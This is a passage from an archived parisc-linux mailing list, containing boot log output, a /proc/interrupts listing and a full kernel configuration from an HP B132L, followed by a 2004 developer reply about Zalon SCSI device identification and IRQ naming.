HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: read timeout (1537786us)!
Adding 525304k swap on /dev/sda3.  Priority:-1 extents:1
EXT3 FS on sda2, internal journal
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda5, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda6, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda7, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda8, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
eth0: link ok.
weasel drivers #
weasel drivers # cat /proc/interrupts
           CPU00
  2:          0            EISA  cascade
 32:    5268327      PARISC-CPU  timer
 33:      11276      PARISC-CPU  lasi
 34:          0      PARISC-CPU  Dino parisc8:0
 35:      49026      PARISC-CPU  parisc8:12
 39:        433      PARISC-CPU  wax
 69:         50            Lasi  GSC PS2 keyboard, GSC PS2 mouse
 86:         15            Lasi  parisc8:16:5
 87:      11201            Lasi  i82596
 88:          0            Lasi  parport0
 90:         10            Lasi  serial
117:          0             Wax  EISA
125:          0             Wax  HP SDC NMI
126:        433             Wax  HP SDC

weasel drivers # zcat /proc/config.gz

#
# Automatically generated make config: don't edit
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y
CONFIG_CLEAN_COMPILE=y
CONFIG_STANDALONE=y
CONFIG_BROKEN_ON_SMP=y

#
# General setup
#
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_SYSCTL=y
CONFIG_LOG_BUF_SHIFT=15
CONFIG_HOTPLUG=y
CONFIG_IKCONFIG=y
CONFIG_IKCONFIG_PROC=y
# CONFIG_EMBEDDED is not set
CONFIG_KALLSYMS=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_AS=y
CONFIG_IOSCHED_DEADLINE=y
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set

#
# Loadable module support
#
CONFIG_MODULES=y
# CONFIG_MODULE_UNLOAD is not set
CONFIG_OBSOLETE_MODPARM=y
CONFIG_MODVERSIONS=y
CONFIG_KMOD=y

#
# Processor type and features
#
# CONFIG_PA7000 is not set
CONFIG_PA7100LC=y
# CONFIG_PA7200 is not set
# CONFIG_PA8X00 is not set
CONFIG_PA11=y
# CONFIG_64BIT is not set
# CONFIG_SMP is not set
# CONFIG_PREEMPT is not set
# CONFIG_HPUX is not set

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
CONFIG_GSC=y
CONFIG_HPPB=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_EISA=y
CONFIG_EISA_NAMES=y
# CONFIG_ISA is not set
CONFIG_PCI=y
CONFIG_PCI_LEGACY_PROC=y
CONFIG_PCI_NAMES=y
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
CONFIG_PDC_CHASSIS=y

#
# PCMCIA/CardBus support
#
# CONFIG_PCMCIA is not set

#
# PCI Hotplug Support
#
# CONFIG_HOTPLUG_PCI is not set

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
# CONFIG_BINFMT_MISC is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
# CONFIG_FW_LOADER is not set

#
# Memory Technology Devices (MTD)
#
# CONFIG_MTD is not set

#
# Parallel port support
#
CONFIG_PARPORT=y
CONFIG_PARPORT_PC=y
CONFIG_PARPORT_PC_CML1=y
# CONFIG_PARPORT_SERIAL is not set
# CONFIG_PARPORT_PC_FIFO is not set
# CONFIG_PARPORT_PC_SUPERIO is not set
CONFIG_PARPORT_GSC=y
# CONFIG_PARPORT_OTHER is not set
# CONFIG_PARPORT_1284 is not set

#
# Plug and Play support
#

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_UMEM is not set
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_CRYPTOLOOP=y
# CONFIG_BLK_DEV_NBD is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_SIZE=4096
CONFIG_BLK_DEV_INITRD=y
# CONFIG_DCSSBLK is not set

#
# ATA/ATAPI/MFM/RLL support
#
# CONFIG_IDE is not set

#
# SCSI device support
#
CONFIG_SCSI=y
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
CONFIG_CHR_DEV_ST=y
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=y
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_CHR_DEV_SG=y

#
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
#
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_REPORT_LUNS is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set

#
# SCSI low-level drivers
#
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_MEGARAID is not set
# CONFIG_SCSI_SATA is not set
# CONFIG_SCSI_BUSLOGIC is not set
# CONFIG_SCSI_CPQFCTS is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_EATA is not set
# CONFIG_SCSI_EATA_PIO is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_GDTH is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_PPA is not set
# CONFIG_SCSI_IMM is not set
CONFIG_SCSI_LASI700=y
CONFIG_53C700_MEM_MAPPED=y
CONFIG_53C700_LE_ON_BE=y
CONFIG_SCSI_SYM53C8XX_2=y
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
# CONFIG_SCSI_SYM53C8XX_IOMAPPED is not set
CONFIG_SCSI_ZALON=y
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
# CONFIG_SCSI_NCR53C8XX_PROFILE is not set
# CONFIG_SCSI_QLOGIC_ISP is not set
# CONFIG_SCSI_QLOGIC_FC is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
CONFIG_SCSI_QLA2XXX=y
# CONFIG_SCSI_QLA21XX is not set
# CONFIG_SCSI_QLA22XX is not set
# CONFIG_SCSI_QLA2300 is not set
# CONFIG_SCSI_QLA2322 is not set
# CONFIG_SCSI_QLA6312 is not set
# CONFIG_SCSI_QLA6322 is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_NSP32 is not set
# CONFIG_SCSI_DEBUG is not set

#
# Multi-device support (RAID and LVM)
#
# CONFIG_MD is not set

#
# Fusion MPT device support
#
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#
# CONFIG_IEEE1394 is not set

#
# I2O device support
#
# CONFIG_I2O is not set

#
# Macintosh device drivers
#

#
# Networking support
#
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
CONFIG_NETLINK_DEV=y
CONFIG_UNIX=y
# CONFIG_NET_KEY is not set
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_PNP=y
# CONFIG_IP_PNP_DHCP is not set
CONFIG_IP_PNP_BOOTP=y
# CONFIG_IP_PNP_RARP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_IP_MROUTE is not set
# CONFIG_ARPD is not set
# CONFIG_INET_ECN is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_INET_AH is not set
# CONFIG_INET_ESP is not set
# CONFIG_INET_IPCOMP is not set
# CONFIG_IPV6 is not set
# CONFIG_DECNET is not set
# CONFIG_BRIDGE is not set
# CONFIG_NETFILTER is not set

#
# SCTP Configuration (EXPERIMENTAL)
#
CONFIG_IPV6_SCTP__=y
# CONFIG_IP_SCTP is not set
# CONFIG_ATM is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_NET_DIVERT is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
CONFIG_NETDEVICES=y

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
# CONFIG_TUN is not set
# CONFIG_ETHERTAP is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
# CONFIG_MII is not set
CONFIG_LASI_82596=y
# CONFIG_HAPPYMEAL is not set
# CONFIG_SUNGEM is not set
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_NET_VENDOR_SMC is not set

#
# Tulip family network device support
#
CONFIG_NET_TULIP=y
# CONFIG_DE2104X is not set
CONFIG_TULIP=y
# CONFIG_TULIP_MWI is not set
# CONFIG_TULIP_MMIO is not set
# CONFIG_TULIP_NAPI is not set
# CONFIG_DE4X5 is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_DM9102 is not set
# CONFIG_DEPCA is not set
# CONFIG_HP100 is not set
CONFIG_NET_PCI=y
# CONFIG_PCNET32 is not set
# CONFIG_AMD8111_ETH is not set
# CONFIG_ADAPTEC_STARFIRE is not set
# CONFIG_AC3200 is not set
# CONFIG_B44 is not set
# CONFIG_FORCEDETH is not set
# CONFIG_DGRS is not set
# CONFIG_EEPRO100 is not set
# CONFIG_E100 is not set
# CONFIG_LNE390 is not set
# CONFIG_FEALNX is not set
# CONFIG_NATSEMI is not set
# CONFIG_NE2K_PCI is not set
# CONFIG_NE3210 is not set
# CONFIG_ES3210 is not set
# CONFIG_8139CP is not set
# CONFIG_8139TOO is not set
# CONFIG_SIS900 is not set
# CONFIG_EPIC100 is not set
# CONFIG_SUNDANCE is not set
# CONFIG_TLAN is not set
# CONFIG_VIA_RHINE is not set

#
# Ethernet (1000 Mbit)
#
# CONFIG_ACENIC is not set
CONFIG_DL2K=y
# CONFIG_E1000 is not set
# CONFIG_NS83820 is not set
# CONFIG_HAMACHI is not set
# CONFIG_YELLOWFIN is not set
# CONFIG_R8169 is not set
# CONFIG_SIS190 is not set
# CONFIG_SK98LIN is not set
# CONFIG_TIGON3 is not set

#
# Ethernet (10000 Mbit)
#
# CONFIG_IXGB is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PLIP is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# Wireless LAN (non-hamradio)
#
CONFIG_NET_RADIO=y

#
# Obsolete Wireless cards support (pre-802.11)
#
# CONFIG_STRIP is not set

#
# Wireless 802.11b ISA/PCI cards support
#
CONFIG_AIRO=y
# CONFIG_HERMES is not set
# CONFIG_ATMEL is not set
CONFIG_NET_WIRELESS=y
#
# Token Ring devices
#
# CONFIG_TR is not set
# CONFIG_NET_FC is not set
# CONFIG_RCPCI is not set
# CONFIG_SHAPER is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# Amateur Radio support
#
# CONFIG_HAMRADIO is not set

#
# IrDA (infrared) support
#
# CONFIG_IRDA is not set

#
# Bluetooth support
#
# CONFIG_BT is not set

#
# ISDN subsystem
#
# CONFIG_ISDN is not set

#
# Telephony Support
#
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=y

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_TSDEV is not set
CONFIG_INPUT_EVDEV=y
# CONFIG_INPUT_EVBUG is not set

#
# Input I/O drivers
#
# CONFIG_GAMEPORT is not set
CONFIG_SOUND_GAMEPORT=y
CONFIG_SERIO=y
# CONFIG_SERIO_SERPORT is not set
# CONFIG_SERIO_PARKBD is not set
CONFIG_SERIO_GSCPS2=y
CONFIG_HP_SDC=y
CONFIG_HIL_MLC=y
# CONFIG_SERIO_PCIPS2 is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
# CONFIG_KEYBOARD_ATKBD is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
# CONFIG_KEYBOARD_NEWTON is not set
CONFIG_KEYBOARD_HIL=y
CONFIG_INPUT_MOUSE=y
# CONFIG_MOUSE_PS2 is not set
# CONFIG_MOUSE_SERIAL is not set
CONFIG_MOUSE_HIL=y
CONFIG_INPUT_JOYSTICK=y
# CONFIG_JOYSTICK_IFORCE is not set
# CONFIG_JOYSTICK_WARRIOR is not set
# CONFIG_JOYSTICK_MAGELLAN is not set
# CONFIG_JOYSTICK_SPACEORB is not set
# CONFIG_JOYSTICK_SPACEBALL is not set
# CONFIG_JOYSTICK_STINGER is not set
# CONFIG_JOYSTICK_TWIDDLER is not set
# CONFIG_JOYSTICK_DB9 is not set
# CONFIG_JOYSTICK_GAMECON is not set
# CONFIG_JOYSTICK_TURBOGRAFX is not set
# CONFIG_INPUT_JOYDUMP is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
CONFIG_INPUT_MISC=y
# CONFIG_INPUT_PCSPKR is not set
# CONFIG_INPUT_UINPUT is not set
CONFIG_HP_SDC_RTC=y

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
# CONFIG_SERIAL_NONSTANDARD is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_NR_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
CONFIG_SERIAL_8250_MANY_PORTS=y
CONFIG_SERIAL_8250_SHARE_IRQ=y
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_MULTIPORT is not set
# CONFIG_SERIAL_8250_RSA is not set

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MUX is not set
# CONFIG_PDC_CONSOLE is not set
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
CONFIG_UNIX98_PTYS=y
CONFIG_LEGACY_PTYS=y
CONFIG_LEGACY_PTY_COUNT=256
CONFIG_PRINTER=y
# CONFIG_LP_CONSOLE is not set
# CONFIG_PPDEV is not set
# CONFIG_TIPAR is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
# CONFIG_QIC02_TAPE is not set

#
# IPMI
#
# CONFIG_IPMI_HANDLER is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
# CONFIG_NVRAM is not set
CONFIG_GEN_RTC=y
# CONFIG_GEN_RTC_X is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_AGP is not set
# CONFIG_DRM is not set
# CONFIG_RAW_DRIVER is not set

#
# I2C support
#
# CONFIG_I2C is not set

#
# Multimedia devices
#
# CONFIG_VIDEO_DEV is not set

#
# Digital Video Broadcasting Devices
#
# CONFIG_DVB is not set

#
# Graphics support
#
CONFIG_FB=y
# CONFIG_FB_CYBER2000 is not set
# CONFIG_FB_IMSTT is not set
CONFIG_FB_STI=y
# CONFIG_FB_RIVA is not set
# CONFIG_FB_MATROX is not set
# CONFIG_FB_RADEON_OLD is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_NEOMAGIC is not set
# CONFIG_FB_KYRO is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_VIRTUAL is not set

#
# Console display driver support
#
# CONFIG_MDA_CONSOLE is not set
CONFIG_STI_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_DUMMY_CONSOLE=y
CONFIG_FRAMEBUFFER_CONSOLE=y
CONFIG_PCI_CONSOLE=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y

#
# Logo configuration
#
CONFIG_LOGO=y
CONFIG_LOGO_LINUX_MONO=y
CONFIG_LOGO_LINUX_VGA16=y
CONFIG_LOGO_LINUX_CLUT224=y
CONFIG_LOGO_PARISC_CLUT224=y

#
# Sound
#
CONFIG_SOUND=m

#
# Advanced Linux Sound Architecture
#
# CONFIG_SND is not set

#
# Open Sound System
#
# CONFIG_SOUND_PRIME is not set
CONFIG_SOUND_HARMONY=m

#
# USB support
#
# CONFIG_USB is not set

#
# USB Gadget Support
#
# CONFIG_USB_GADGET is not set

#
# File systems
#
CONFIG_EXT2_FS=y
# CONFIG_EXT2_FS_XATTR is not set
CONFIG_EXT3_FS=y
# CONFIG_EXT3_FS_XATTR is not set
CONFIG_JBD=y
# CONFIG_JBD_DEBUG is not set
# CONFIG_REISERFS_FS is not set
# CONFIG_JFS_FS is not set
# CONFIG_XFS_FS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_ROMFS_FS is not set
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
# CONFIG_ZISOFS is not set
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
# CONFIG_FAT_FS is not set
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
# CONFIG_DEVFS_FS is not set
# CONFIG_DEVPTS_FS_XATTR is not set
CONFIG_TMPFS=y
# CONFIG_HUGETLB_PAGE is not set
CONFIG_RAMFS=y

#
# Miscellaneous filesystems
#
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set

# CONFIG_HFSPLUS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_SYSV_FS is not set
# CONFIG_UFS_FS is not set

#
# Network File Systems
#
CONFIG_NFS_FS=y
CONFIG_NFS_V3=y
# CONFIG_NFS_V4 is not set
# CONFIG_NFS_DIRECTIO is not set
CONFIG_NFSD=y
CONFIG_NFSD_V3=y
# CONFIG_NFSD_V4 is not set
CONFIG_NFSD_TCP=y
CONFIG_ROOT_NFS=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
CONFIG_EXPORTFS=y
CONFIG_SUNRPC=y
# CONFIG_SUNRPC_GSS is not set
# CONFIG_SMB_FS is not set
# CONFIG_CIFS is not set
# CONFIG_NCP_FS is not set
# CONFIG_CODA_FS is not set
# CONFIG_AFS_FS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y

#
# Native Language Support
#
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
# CONFIG_NLS_CODEPAGE_437 is not set
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
# CONFIG_NLS_CODEPAGE_850 is not set
# CONFIG_NLS_CODEPAGE_852 is not set
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1250 is not set
# CONFIG_NLS_CODEPAGE_1251 is not set
# CONFIG_NLS_ISO8859_1 is not set
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
# CONFIG_NLS_ISO8859_15 is not set
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
# CONFIG_NLS_UTF8 is not set

#
# Profiling support
#
CONFIG_PROFILING=y
CONFIG_OPROFILE=y

#
# Kernel hacking
#
CONFIG_DEBUG_KERNEL=y
# CONFIG_DEBUG_SLAB is not set
CONFIG_MAGIC_SYSRQ=y
CONFIG_FRAME_POINTER=y
# CONFIG_DEBUG_INFO is not set

#
# Security options
#
# CONFIG_SECURITY is not set

#
# Cryptographic options
#
CONFIG_CRYPTO=y
# CONFIG_CRYPTO_HMAC is not set
# CONFIG_CRYPTO_NULL is not set
# CONFIG_CRYPTO_MD4 is not set
# CONFIG_CRYPTO_MD5 is not set
# CONFIG_CRYPTO_SHA1 is not set
# CONFIG_CRYPTO_SHA256 is not set
# CONFIG_CRYPTO_SHA512 is not set
# CONFIG_CRYPTO_DES is not set
# CONFIG_CRYPTO_BLOWFISH is not set
# CONFIG_CRYPTO_TWOFISH is not set
# CONFIG_CRYPTO_SERPENT is not set
# CONFIG_CRYPTO_AES is not set
# CONFIG_CRYPTO_CAST5 is not set
# CONFIG_CRYPTO_CAST6 is not set
# CONFIG_CRYPTO_DEFLATE is not set
# CONFIG_CRYPTO_TEST is not set

#
# Library routines
#
CONFIG_CRC32=y





From - Thu Nov 08 21:31:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Mon, 8 Mar 2004 22:36:15 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <20040309053615.GA11669@colo.lackof.org>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623248 6375 80.91.229.3 (22 Nov 2014 02:27:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Andy Walker <andy@puszczka.com>
Original-X-From: grundler@lackof.org  Mon Mar  8 22:36:17 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18BC04879
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Mar 2004 22:36:17 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 60D01298097; Mon,  8 Mar 2004 22:36:16 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 11646-05; Mon, 8 Mar 2004 22:36:15 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9C375298094; Mon,  8 Mar 2004 22:36:15 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 09 Mar 2004 05:36:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21014

On Mon, Mar 08, 2004 at 12:28:37PM +0100, Andy Walker wrote:
> Why is 8/12 (0x00089) reported as unknown in the device table and in
> proc/interrupts? Its the Zalon HVD SCSI.
...
> 6. unknown device at 0xfff8c000 [8/12] { 4, 0x0, 0x03c, 0x00089 }

It means we don't have an entry for Zalon in arch/parisc/kernel/hardware.c
Can you submit a patch for that?

(I confess: I'm being very lazy tonight and don't want to figure
what needs to go into the hardware.c array)

> zalon_probe: Zalon vers field is 0x1, IRQ 35
> ncr53c720-0: rev 0xf irq 35
> ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
> scsi0 : ncr53c8xx-3.4.3e
> Using anticipatory io scheduler
>   Vendor: SEAGATE   Model: ST39173WD         Rev: 5764
>   Type:   Direct-Access                      ANSI SCSI revision: 02

Zalon is obviously recognized and seems to be working.

...
> weasel drivers # cat /proc/interrupts
>            CPU00
>   2:          0            EISA  cascade
>  32:    5268327      PARISC-CPU  timer
>  33:      11276      PARISC-CPU  lasi
>  34:          0      PARISC-CPU  Dino parisc8:0
>  35:      49026      PARISC-CPU  parisc8:12

hrm...good question. Oic.  RTFC. :^)
In drivers/scsi/zalon.c:
        if (request_irq(irq, ncr53c8xx_intr, SA_SHIRQ, dev->dev.bus_id, host)) {
                printk(KERN_ERR "%s: irq problem with %d, detaching\n ",
                        dev->dev.bus_id, irq);
                goto fail;
        }

sorry, can't help with the keyboard/mouse problems...

hth,
grant


From - Thu Nov 08 21:31:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
